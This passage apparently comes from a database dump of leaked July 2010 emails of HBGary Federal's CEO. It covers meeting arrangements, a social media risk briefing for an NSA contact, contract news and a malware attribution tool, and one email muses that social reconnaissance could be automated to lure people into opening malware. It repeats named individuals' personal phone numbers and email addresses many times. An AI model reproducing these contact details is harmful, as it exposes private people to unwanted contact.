571-830-6816\r\n>> \r\n>>               571-830-6817\r\n>> \r\n>> Fax:        571-830-6819\r\n>> \r\n>> Cell:       310 612 6413\r\n>> \r\n>> \r\n>> \r\n>> This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Jeff Castelli\r\n>> Sent: Mon Jul 19 19:39:14 2010\r\n>> Subject: Re: Lunch?  Beer?\r\n>> \r\n>> Hi jeff.  I live in McLean and have meetings in herndon in morning and chantilly in afternoon.  My wed is pretty open but head on fily vacation Thursday for a week.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 19, 2010, at 4:04 PM, Jeff Castelli  wrote:\r\n>> \r\n>> \r\n>> \r\n>>    Sure.  1200 works well for me if we can do it around here somewhere (Tysons Corner).  Do you live in VA? If so, breakfast on the way to work might work better…………………….Otherwise, Friday is much better for me for lunch.\r\n>> \r\n>>     \r\n>> \r\n>>    Jeff\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    VP, Director Washington Operations\r\n>> \r\n>>    PhaseOne Communications\r\n>> \r\n>>     \r\n>> \r\n>>    email:   jeffcastelli@phaseone.net\r\n>> \r\n>>    Office:     571-830-6816\r\n>> \r\n>>    Fax:        571-830-6819\r\n>> \r\n>>    Cell:       310 612 6413\r\n>> \r\n>>     \r\n>> \r\n>>    This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>    Sent: Monday, July 19, 2010 3:08 PM\r\n>>    To: Jeff Castelli\r\n>>    Subject: Re: Lunch? Beer?\r\n>> \r\n>>     \r\n>> \r\n>>    Hi Jeff,\r\n>> \r\n>>     \r\n>> \r\n>>    Do you have some time tomorrow for lunch?\r\n>> \r\n>>     \r\n>> \r\n>>    Aaron\r\n>> \r\n>>     \r\n>> \r\n>>    On Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n>> \r\n>>    \r\n>>    \r\n>>    \r\n>> \r\n>>    Aaron, I really enjoyed meeting you last night.  It was a very entertaining evening.  As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.  Would love to sit down and discuss further.  I was supposed to be in LA next week but that got pushed back a week so I should be around.  Wednesday is probably not a good day but otherwise I can adapt.  Take care and I look forward to seeing you.\r\n>> \r\n>>     \r\n>> \r\n>>    Jeff\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    VP, Director Washington Operations\r\n>> \r\n>>    PhaseOne Communications\r\n>> \r\n>>     \r\n>> \r\n>>    email:    jeffcastelli@phaseone.net\r\n>> \r\n>>    Office:     571-830-6816\r\n>> \r\n>>    Fax:        571-830-6819\r\n>> \r\n>>    Cell:       310 612 6413\r\n>> \r\n>>     \r\n>> \r\n>>    This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    Aaron Barr\r\n>> \r\n>>    CEO\r\n>> \r\n>>    HBGary Federal Inc.\r\n>> \r\n>>     \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',13989,'aaron_hbgary_com/13989.html'),(8865,'2010-07-20','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006761.M9993P14101Q3719.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Lunch?  Beer?','Yes, but unless you\'re on your way now, what say we do the one in Tysons tomorrow at 0830?  But if you\'re on your way, I\'ll see you there at 8.  Tks, Aaron. \r\n\r\n\r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\nemail:  jeffcastelli@phaseone.net\r\n\r\nOffice:  571-830-6816\r\n\r\n                571-830-6817\r\n\r\nFax:        571-830-6819\r\n\r\nCell:       310 612 6413\r\n\r\n \r\n\r\nThis email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Jeff Castelli\r\nSent: Mon Jul 19 20:20:35 2010\nSubject: Re: Lunch?  Beer?\r\n\r\nIs that the one on Killingsworth?\r\n\r\nOn Jul 19, 2010, at 10:43 PM, Jeff Castelli wrote:\r\n\r\n> Bkfst at Silver Diner Reston? 8am?\r\n> VP, Director Washington Operations\r\n> \r\n> PhaseOne Communications\r\n> \r\n> email:  jeffcastelli@phaseone.net\r\n> \r\n> Office:  571-830-6816\r\n> \r\n>                571-830-6817\r\n> \r\n> Fax:        571-830-6819\r\n> \r\n> Cell:       310 612 6413\r\n> \r\n> \r\n> \r\n> This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Jeff Castelli\r\n> Sent: Mon Jul 19 19:39:14 2010\r\n> Subject: Re: Lunch?  Beer?\r\n> \r\n> Hi jeff.  I live in McLean and have meetings in herndon in morning and chantilly in afternoon.  My wed is pretty open but head on fily vacation Thursday for a week.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 19, 2010, at 4:04 PM, Jeff Castelli  wrote:\r\n> \r\n> \r\n> \r\n> 	Sure.  1200 works well for me if we can do it around here somewhere (Tysons Corner).  Do you live in VA? If so, breakfast on the way to work might work better…………………….Otherwise, Friday is much better for me for lunch.\r\n> \r\n> 	 \r\n> \r\n> 	Jeff\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	VP, Director Washington Operations\r\n> \r\n> 	PhaseOne Communications\r\n> \r\n> 	 \r\n> \r\n> 	email:   jeffcastelli@phaseone.net\r\n> \r\n> 	Office:     571-830-6816\r\n> \r\n> 	Fax:        571-830-6819\r\n> \r\n> 	Cell:       310 612 6413\r\n> \r\n> 	 \r\n> \r\n> 	This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> 	Sent: Monday, July 19, 2010 3:08 PM\r\n> 	To: Jeff Castelli\r\n> 	Subject: Re: Lunch? Beer?\r\n> \r\n> 	 \r\n> \r\n> 	Hi Jeff,\r\n> \r\n> 	 \r\n> \r\n> 	Do you have some time tomorrow for lunch?\r\n> \r\n> 	 \r\n> \r\n> 	Aaron\r\n> \r\n> 	 \r\n> \r\n> 	On Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n> \r\n> 	\r\n> 	\r\n> 	\r\n> \r\n> 	Aaron, I really enjoyed meeting you last night.  It was a very entertaining evening.  As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.  Would love to sit down and discuss further.  I was supposed to be in LA next week but that got pushed back a week so I should be around.  Wednesday is probably not a good day but otherwise I can adapt.  Take care and I look forward to seeing you.\r\n> \r\n> 	 \r\n> \r\n> 	Jeff\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	VP, Director Washington Operations\r\n> \r\n> 	PhaseOne Communications\r\n> \r\n> 	 \r\n> \r\n> 	email:    jeffcastelli@phaseone.net\r\n> \r\n> 	Office:     571-830-6816\r\n> \r\n> 	Fax:        571-830-6819\r\n> \r\n> 	Cell:       310 612 6413\r\n> \r\n> 	 \r\n> \r\n> 	This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	Aaron Barr\r\n> \r\n> 	CEO\r\n> \r\n> 	HBGary Federal Inc.\r\n> \r\n> 	 \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16400,'aaron_hbgary_com/16400.html'),(8866,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006783.M940881P14101Q3721.eml','\"Ralph D. Ghent\" <rdghent@nsa.gov>','Social Media Presentation','Hi Ralph,\r\n\r\nAttached is the presentation.  The response has been so positive that I am almost done with the cirriculum for a 1 day social media familiarization course that will cover; familiarization, effective use, risks, use cases for exploitation, and protection and process.\r\n\r\nI sat on the other side of the fence on social media for about 7 years and didn\'t realize that I had a unique perspective because of it and that their was a great need to understand and help to protect information exposure due to social media use.  And the big worry is not facebook or google buzz, or twitter.  The big risk is what is exposed when you look at information that is exposed accross multiple platforms.\r\n\r\nExample, if someone lists themselves on linkedin as working in mergers and acquisitions for company X, then as I monitor their facebook friends lists I see 2 people recently added that are from the executive staff of small company Y.  These could be indicators of potential acquisitions.  Just the exposure of people friends alone cross-linked with Linkedin which allows me to search by any number of ways including profession, skills.  Lots of examples available here where the cross-exposure of information is great and I don\'t think anyone is really paying attention to that.\r\n\r\nAnyway, a topic of great interest to me right now.\r\n\r\n',12331,'aaron_hbgary_com/12331.html'),(8867,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006785.M653160P14101Q3722.eml','\"Ralph D. Ghent\" <rdghent@nsa.gov>','Sorry one last thought','I think that someone could automate much of the social reconnaissance process and could create a mechanism for getting people to open malware that is much more effective than what exists today.  This capability could be highly targeted based on profession, company, friends, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1959,'aaron_hbgary_com/1959.html'),(8868,'2010-07-20','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006785.M883794P14101Q3723.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Lunch?  Beer?','Tks, Aaron. See you then. \r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\nemail:  jeffcastelli@phaseone.net\r\n\r\nOffice:  571-830-6816\r\n\r\n                571-830-6817\r\n\r\nFax:        571-830-6819\r\n\r\nCell:       310 612 6413\r\n\r\n \r\n\r\nThis email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Jeff Castelli\r\nSent: Tue Jul 20 04:14:59 2010\nSubject: Re: Lunch?  Beer?\r\n\r\nSure 830 tomorrow would be great.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 20, 2010, at 7:10 AM, Jeff Castelli  wrote:\r\n\r\n> Yes, but unless you\'re on your way now, what say we do the one in Tysons tomorrow at 0830?  But if you\'re on your way, I\'ll see you there at 8.  Tks, Aaron. \r\n> \r\n> \r\n> VP, Director Washington Operations\r\n> \r\n> PhaseOne Communications\r\n> \r\n> email:  jeffcastelli@phaseone.net\r\n> \r\n> Office:  571-830-6816\r\n> \r\n>                571-830-6817\r\n> \r\n> Fax:        571-830-6819\r\n> \r\n> Cell:       310 612 6413\r\n> \r\n> \r\n> \r\n> This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Jeff Castelli\r\n> Sent: Mon Jul 19 20:20:35 2010\r\n> Subject: Re: Lunch?  Beer?\r\n> \r\n> Is that the one on Killingsworth?\r\n> \r\n> On Jul 19, 2010, at 10:43 PM, Jeff Castelli wrote:\r\n> \r\n>> Bkfst at Silver Diner Reston? 8am?\r\n>> VP, Director Washington Operations\r\n>> \r\n>> PhaseOne Communications\r\n>> \r\n>> email:  jeffcastelli@phaseone.net\r\n>> \r\n>> Office:  571-830-6816\r\n>> \r\n>>               571-830-6817\r\n>> \r\n>> Fax:        571-830-6819\r\n>> \r\n>> Cell:       310 612 6413\r\n>> \r\n>> \r\n>> \r\n>> This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Jeff Castelli\r\n>> Sent: Mon Jul 19 19:39:14 2010\r\n>> Subject: Re: Lunch?  Beer?\r\n>> \r\n>> Hi jeff.  I live in McLean and have meetings in herndon in morning and chantilly in afternoon.  My wed is pretty open but head on fily vacation Thursday for a week.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 19, 2010, at 4:04 PM, Jeff Castelli  wrote:\r\n>> \r\n>> \r\n>> \r\n>>    Sure.  1200 works well for me if we can do it around here somewhere (Tysons Corner).  Do you live in VA? If so, breakfast on the way to work might work better…………………….Otherwise, Friday is much better for me for lunch.\r\n>> \r\n>>     \r\n>> \r\n>>    Jeff\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    VP, Director Washington Operations\r\n>> \r\n>>    PhaseOne Communications\r\n>> \r\n>>     \r\n>> \r\n>>    email:   jeffcastelli@phaseone.net\r\n>> \r\n>>    Office:     571-830-6816\r\n>> \r\n>>    Fax:        571-830-6819\r\n>> \r\n>>    Cell:       310 612 6413\r\n>> \r\n>>     \r\n>> \r\n>>    This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>    Sent: Monday, July 19, 2010 3:08 PM\r\n>>    To: Jeff Castelli\r\n>>    Subject: Re: Lunch? Beer?\r\n>> \r\n>>     \r\n>> \r\n>>    Hi Jeff,\r\n>> \r\n>>     \r\n>> \r\n>>    Do you have some time tomorrow for lunch?\r\n>> \r\n>>     \r\n>> \r\n>>    Aaron\r\n>> \r\n>>     \r\n>> \r\n>>    On Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n>> \r\n>>    \r\n>>    \r\n>>    \r\n>> \r\n>>    Aaron, I really enjoyed meeting you last night.  It was a very entertaining evening.  As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.  Would love to sit down and discuss further.  I was supposed to be in LA next week but that got pushed back a week so I should be around.  Wednesday is probably not a good day but otherwise I can adapt.  Take care and I look forward to seeing you.\r\n>> \r\n>>     \r\n>> \r\n>>    Jeff\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    VP, Director Washington Operations\r\n>> \r\n>>    PhaseOne Communications\r\n>> \r\n>>     \r\n>> \r\n>>    email:    jeffcastelli@phaseone.net\r\n>> \r\n>>    Office:     571-830-6816\r\n>> \r\n>>    Fax:        571-830-6819\r\n>> \r\n>>    Cell:       310 612 6413\r\n>> \r\n>>     \r\n>> \r\n>>    This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>     \r\n>> \r\n>>    Aaron Barr\r\n>> \r\n>>    CEO\r\n>> \r\n>>    HBGary Federal Inc.\r\n>> \r\n>>     \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',13376,'aaron_hbgary_com/13376.html'),(8869,'2010-07-20','\"Thompson, Bill (XETRON)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297006786.M132664P14101Q3724.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Positions','Yes on the positions and he is dead to me too.  Not sure why but it\r\nsounds like fun.  I will call later today.\r\n\r\nbillt\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:57 PM\r\nTo: Thompson, Bill (XETRON)\r\nSubject: EXTERNAL:Positions\r\n\r\nHey Bill,\r\n\r\nDo you still need help filling some positions?\r\n\r\nAnd tell Brian he\'s dead to me.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2631,'aaron_hbgary_com/2631.html'),(8870,'2010-07-20','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297006786.M371741P14101Q3725.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Open Source Center briefing','It did.  OBE. I\'ll have to reschedule.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:18 PM\r\nTo: Lachow, Irving Mr OSD ATL\r\nSubject: Re: Open Source Center briefing\r\n\r\nIrv,\r\n\r\nDId this drop off the calendar?\r\n\r\nAaron\r\n\r\nOn May 17, 2010, at 8:38 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n\r\n	People from the CIA\'s Open Source Center are available to give us a\r\ncapabilities briefing on their social media work on July 21.  Are you all\r\nfree?  Can you suggest anyone else who might want to come?\r\n\r\n	--Irv  \r\n\r\n	Irving Lachow, Ph.D.\r\n\r\n	Director, Cyber Programs\r\n\r\n	Special Capabilities Office\r\n\r\n	NIPR: irving.lachow@osd.mil\r\n\r\n	SIPR: irving.lachow@osd.smil.mil\r\n\r\n	JWICS: irving.lachow@osdj.ic.gov\r\n\r\n	Office:  (703) 746-1226\r\n\r\n	Cell:  (202) 556-0591\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4014,'aaron_hbgary_com/4014.html'),(8871,'2010-07-20','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297006786.M598179P14101Q3726.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: is this good news for HB Gary?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLove to. I&#8217;m free&#8212;headed to BlackHat myself&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:12 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: is this good news for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Mary,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust catching up. &nbsp;Do you have time to meet on\r\nWednesday? &nbsp;I am heading on vacation on Thursday - then Blackhat.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 3:23 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat a PITA&#8212;you were perfect for that! Their loss&#8230;.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThings are good for me; I&#8217;m ahead of plan and looking to add two\r\nnew big customers in Q3 that are both in procurement now. Like to get some\r\nmore. Spent some time with Bob at an event last week and planning to meet Penny\r\nnext time she comes to town. Talk to Maria pretty often.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s grab lunch or coffee when you get a chance.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\n\r\n\r\n\r\n\r\nD 240-396-2446\r\n\r\n\r\n\r\n\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, June 30,\r\n2010 3:19 PM\r\nTo:&nbsp;Sullivan, Mary\r\nSubject:&nbsp;Re: is this good\r\nnews for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes we were, but unfortunately weren\'t selected. &nbsp;We\r\ngot our debrief yesterday. &nbsp;Came down to onerous data rights because of\r\nexisting technology and not enough of the pi and pm time on contract, which was\r\nme and Greg.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow are things?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 1:28 PM, &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?\r\n\r\n&nbsp;\r\n\r\nCYBER GENOME PROGRAM.\r\n\r\nhttp://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.\r\n\r\nOppId: 61006 .\r\n\r\nDepartment: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.\r\n\r\nRFP Date: 2010-01-28.\r\n\r\nStatus: Partial Award.\r\n\r\nValue($K): 43000.\r\n\r\nLatest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267..\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCurious about Fidelis XPS&#8482;? Watch video samples here:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS&#8482;&nbsp;Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\n\r\n\r\nRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5876,'aaron_hbgary_com/5876.html'),(8872,'2010-07-20','\"Christopher Tucker\" <christopher.tucker@gmail.com>','/aaron@hbgary.com/new/1297006787.M109046P14101Q3727.eml','\"andy kemp\" <akemp@apple.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Aaron, thanks for the intro.  Looking forward to catching up.\r\n\r\nAndy, how about sometime between the 27th and the 2nd.  Maybe the 29th for\r\nlunch?  Looking forward to meeting.\r\n\r\nChris\r\n703-981-9373\r\n\r\n-----Original Message-----\r\nFrom: andy kemp [mailto:akemp@apple.com] \r\nSent: Tuesday, July 20, 2010 6:43 AM\r\nTo: Aaron Barr\r\nCc: Christopher Tucker\r\nSubject: Re: Introduction\r\n\r\nChris\r\n\r\nNice to meet you.  Happy to meet whenever it might be convenient for  \r\nyou.\r\n\r\nRegards\r\n\r\nak\r\n\r\n\r\nOn Jul 20, 2010, at 12:27 AM, Aaron Barr wrote:\r\n\r\n> Hey Andy,\r\n>\r\n> Remember the event that I told you about.  It was a lively night.   \r\n> Apple, the appstore, mobile app development came up on multiple  \r\n> occasions.\r\n>\r\n> I met Chris at this event and we had some very lively discussions  \r\n> regarding social media, evolving technology, and threats.  Chris has  \r\n> a very interesting and enterprising background (especially for  \r\n> government).  I think you guys would have a lot to talk about, so I  \r\n> wanted to make the introduction.\r\n>\r\n> Talk to you soon.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\nAndy Kemp\r\nHomeland Defense / National Programs\r\n\r\nApple Inc.\r\n11921 Freedom Drive\r\nSuite 600\r\nReston, Virginia\r\n20194\r\n\r\nakemp@apple.com\r\n240-988-3476\r\n\r\n\r\n\r\n\r\n\r\n',2547,'aaron_hbgary_com/2547.html'),(8873,'2010-07-20','\"Trae Stephens\" <tstephens@palantir.com>','/aaron@hbgary.com/new/1297006787.M334841P14101Q3728.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>,\"Geoff Stowe\" <gstowe@palantir.com>','RE: Attribution','This falls right into Geoff and Matt\'s boxes, so I\'ll steer clear.\r\n\r\nRegarding Brandon...he\'s REALLY good.  We would have loved to hire him if he\r\ncould have moved to DC...and I know he hates what he\'s doing now.  If this\r\nemail had a \"like\" button, I would have hit it by now.  :)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:17 PM\r\nTo: Matthew Steckman; Geoff Stowe\r\nCc: Trae Stephens\r\nSubject: Attribution\r\n\r\nHey Guys,\r\n\r\nI would like to talk a bit about the fingerprint tool Greg is giving away at\r\nBlackhat.  Its not the graphing capability but the tool that will pull the\r\nmarks out of malware related to the development environment.\r\n\r\nI think the play here for us and what leads us into our talk for RSA, if we\r\nare accepted, is the results in taking this tool, our volume malware\r\nprocessor and some good open source research and social media data mining.\r\nWith the data from the fingerprint tool that gives us the malware\r\nclustering, we can start doing open source collection on attributes that can\r\nthen correlated to the other members of the cluster?\r\n\r\nI guess more will become obvious once we start the research.  Can we develop\r\nsome helper apps that can make it easier to ingest the data?  I know the\r\nanswer is yes but hopefully we can do that as part of this effort.  Want to\r\nschedule something up after we get back from Blackhat?\r\n\r\nAlso I talked to Brandon Colston and he is interested I think to come work\r\non this stuff once we have a space for him, would love to get him.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7668,'aaron_hbgary_com/7668.html'),(8874,'2010-07-20','\"Vargas, Celina\" <Celina_Vargas@sra.com>','/aaron@hbgary.com/new/1297006787.M688616P14101Q3729.eml','aaron@hbgary.com','Mark Leary Reference','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* 